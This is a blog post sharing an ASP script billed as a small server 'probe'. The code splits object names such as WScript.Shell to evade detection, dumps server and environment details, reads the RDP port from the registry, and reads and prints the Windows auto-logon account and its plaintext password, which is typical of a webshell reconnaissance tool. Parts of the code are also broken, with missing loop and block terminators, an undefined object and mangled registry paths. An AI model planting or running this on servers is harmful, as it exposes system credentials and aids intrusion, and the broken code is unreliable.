一个小的服务器的探针程序(ASP)

最新推荐文章于 2012-04-10 14:04:16 发布

heroooooo

最新推荐文章于 2012-04-10 14:04:16 发布

阅读量2.1k

点赞数

CC 4.0 BY-SA版权

分类专栏： ASP/ASP.NET技术文档文章标签：服务器 asp 文件上传组件服务器软件 server border

本文链接：https://blog.youkuaiyun.com/heroooooo/article/details/1493358

ASP/ASP.NET技术文档专栏收录该内容

3 篇文章

订阅专栏

本文介绍了一个用于探测ASP服务器相关信息的脚本，包括服务器的基本配置、网站根目录信息、终端服务等详细参数，并提供了检测服务器上多种组件的支持情况。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

<!-program by heroooooo

time:2007-1-25 pm 5:00

这个是做个探针的,需要的时候可以用得着的.

Dim theAct

Set wsX = Server.CreateObject("WScrip"&x&"t.Shell")

aryExEnvList = Split(strExEnvList, "$")

theAct = Request("theAct")

showTitle("服务器相关数据")

response.write "<p align=center>BY heroooooo<p><br>"

Call Pageecho()

response.write "<br>服务器相关参数:<br>"

call getSrvInfo()

call getSiteRootInfo()

call getTerminalInfo()

response.write "<br/>"

Sub getSrvInfo()

Dim i, sa, objWshSysEnv, aryExEnvList, strExEnvList, intCpuNum, strCpuInfo, strOS

Set sa = Server.CreateObject("She"&T&"ll.Appl"&T&"ication")

strExEnvList = "SystemRoot$WinDir$ComSpec$TEMP$TMP$NUMBER_OF_PROCESSORS$OS$Os2LibPath$Path$PATHEXT$PROCESSOR_ARCHITECTURE$" & _

"PROCESSOR_IDENTIFIER$PROCESSOR_LEVEL$PROCESSOR_REVISION"

aryExEnvList = Split(strExEnvList, "$")

Set objWshSysEnv = wsX.Environment("SYSTEM")

chkErr(Err)

intCpuNum = Request.ServerVariables("NUMBER_OF_PROCESSORS")

If IsNull(intCpuNum) Or intCpuNum = "" Then

intCpuNum = objWshSysEnv("NUMBER_OF_PROCESSORS")

End If

strOS = Request.ServerVariables("OS")

If IsNull(strOS) Or strOS = "" Then

strOS = objWshSysEnv("OS")

strOs = strOs & "(有可能是 Windows2003 哦)"

End If

strCpuInfo = objWshSysEnv("PROCESSOR_IDENTIFIER")

response.write "<li>服务器名: " & Request.ServerVariables("SERVER_NAME") & "</li>"

response.write "<li>服务器IP: " & Request.ServerVariables("LOCAL_ADDR") & "</li>"

response.write "<li>服务端口: " & Request.ServerVariables("SERVER_PORT") & "</li>"

response.write "<li>服务器内存: " & getTheSize(sa.GetSystemInformation("PhysicalMemoryInstalled")) & "</li>"

response.write "<li>服务器时间: " & Now & "</li>"

response.write "<li>服务器软件: " & Request.ServerVariables("SERVER_SOFTWARE") & "</li>"

response.write "<li>脚本超时时间: " & Server.ScriptTimeout & "</li>"

response.write "<li>服务器CPU数量: " & intCpuNum & "</li>"

response.write "<li>服务器CPU详情: " & strCpuInfo & "</li>"

response.write "<li>服务器操作系统: " & strOS & "</li>"

response.write "<li>服务器解译引擎: " & ScriptEngine & "/" & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion & "</li>"

response.write "<li>本文件实际路径: " & Request.ServerVariables("PATH_TRANmcATED") & "</li>"

For i = 0 To UBound(aryExEnvList)

response.write "<li>" & aryExEnvList(i) & ": " & wsX.ExpandEnvironmentStrings("%" & aryExEnvList(i) & "%") & "</li>"

Set sa = Nothing

Set objWshSysEnv = Nothing

End Sub

Sub getSiteRootInfo()

If isDebugMode = False Then

On Error Resume Next

End If

Dim objTheFolder

Set objTheFolder = fsoX.GetFolder(Server.MapPath("/"))

response.write "<li>物理路径: " & Server.MapPath("/") & "</li>"

response.write "<li>当前大小: " & getTheSize(objTheFolder.Size) & "</li>"

response.write "<li>文件数: " & objTheFolder.Files.Count & "</li>"

response.write "<li>文件夹数: " & objTheFolder.SubFolders.Count & "</li>"

response.write "<li>创建日期: " & objTheFolder.DateCreated & "</li>"

response.write "<li>最后访问日期: " & objTheFolder.DateLastAccessed & "</li>"

End Sub

Sub getTerminalInfo()

If isDebugMode = False Then

On Error Resume Next

End If

Dim terminalPortPath, terminalPortKey, termPort

Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey

Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword

terminalPortPath = "HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"

terminalPortKey = "PortNumber"

termPort = wsX.RegRead(terminalPortPath & terminalPortKey)

response.write "<br><li>终端服务端口及自动登录信息"

If termPort = "" Or Err.Number <> 0 Then

response.write "无法得到终端服务端口, 请检查权限是否已经受到限制.<br/>"

Else

response.write "当前终端服务端口: " & termPort & "<br/>"

End If

autoLoginPath = "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon"

autoLoginEnableKey = "AutoAdminLogon"

autoLoginUserKey = "DefaultUserName"

autoLoginPassKey = "DefaultPassword"

isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey)

If isAutoLoginEnable = 0 Then

response.write "<li>系统自动登录功能未开启<br/>"

Else

autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey)

response.write "<li>自动登录的系统帐户: " & autoLoginUsername & "<br>"

autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey)

If Err Then

Err.Clear

response.write "False"

End If

response.write "<li>自动登录的帐户密码: " & autoLoginPassword & "<br>"

End If

End Sub

Sub showTitle(str)

response.write "<title>" & str & " </title>" & vbNewLine

response.write "<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>" & vbNewLine

response.write "" & vbNewLine

End Sub

Sub Pageecho()

Dim i, objTmp, txtObjInfo, strObjectList, strDscList

txtObjInfo = Trim(Request("txtObjInfo"))

strObjectList = "MSWC.AdRotator,MSWC.BrowserType,MSWC.NextLink,MSWC.Tools,MSWC.Status,MSWC.Counters,IISSample.ContentRotator," & _

"IISSample.PageCounter,MSWC.PermissionChecker,ADO"&T&"DB.Conne"&T&"ction,SoftArtisans.FileUp,SoftArtisans.FileManager,LyfUpload.UploadFile," & _

"Persits.Upload.1,W3.Upload,JMail.SmtpMail,CDONTS.NewMail,Persits.MailSender,SMTPsvg.Mailer,DkQmail.Qmail,Geocel.Mailer," & _

"IISmail.Iismail.1,SmtpMail.SmtpMail.1,SoftArtisans.ImageGen,W3Image.Image," & _

"Scripting.FileSystemObject,Adodb.Stream,She"&T&"ll.Appl"&T&"ication,WScri"&T&"pt.She"&T&"ll,Wscript.Network"

strDscList = "广告轮换,浏览器信息,内容链接库,,,计数器,内容轮显,,权限检测,ADO 数据对象,SA-FileUp 文件上传,SoftArtisans 文件管理," & _

"刘云峰的文件上传组件,ASPUpload 文件上传,Dimac 文件上传,Dimac JMail 邮件收发,虚拟 SMTP 发信,ASPemail 发信,ASPmail 发信,dkQmail 发信," & _

"Geocel 发信,IISmail 发信,SmtpMail 发信,SA 的图像读写,Dimac 的图像读写组件," & _

"FSO,Stream 流,,,"

aryObjectList = Split(strObjectList, ",")

aryDscList = Split(strDscList, ",")

response.write "其他组件支持情况检测<br/>"

response.write "在下面的输入框中输入你要检测的组件的ProgId或ClassId。<br/>"

response.write "<form method=post>"

response.write "<input name=txtObjInfo size=30 value=""" & txtObjInfo & """><input name=theAct type=submit value=我要检测>"

response.write "</form>"

If Request("theAct") = "我要检测" And txtObjInfo <> "" Then

Call getObjInfo(txtObjInfo, "")

End If

response.write "<lu>组件名称 ┆ 支持及其它"

For i = 0 To UBound(aryDscList)

Call getObjInfo(aryObjectList(i), aryDscList(i))

response.write "</lu><br/>"

End Sub

Sub getObjInfo(strObjInfo, strDscInfo)

Dim objTmp

If isDebugMode = False Then

On Error Resume Next

End If

response.write "<li> " & strObjInfo

If strDscInfo <> "" Then

response.write " (" & strDscInfo & "组件)"

End If

response.write " ┆ "

Set objTmp = Server.CreateObject(strObjInfo)

If Err <> -2147221005 Then

response.write "√ "

response.write "Version: " & objTmp.Version & "; "

response.write "About: " & objTmp.About

Else

response.write "×"

End If

response.write "</li>"

If Err Then

Err.Clear

End If

Set objTmp = Nothing

End Sub

Sub chkErr(Err)

If Err Then

echo "<style>body{margin:8;border:none;overflow:hidden;background-color:buttonface;}</style>"

echo "<br/><font size=2><li>错误: " & Err.Description & "</li><li>错误源: " & Err.Source & "</li><br/>"

echo "<hr></font>"

Err.Clear

Response.End

End If

End Sub

Function getTheSize(theSize)

If theSize >= (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024 * 1024)) * 100) / 100 & "G"

If theSize >= (1024 * 1024) And theSize < (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024)) * 100) / 100 & "M"

If theSize >= 1024 And theSize < (1024 * 1024) Then getTheSize = Fix((theSize / 1024) * 100) / 100 & "K"

If theSize >= 0 And theSize <1024 Then getTheSize = theSize & "B"

End Function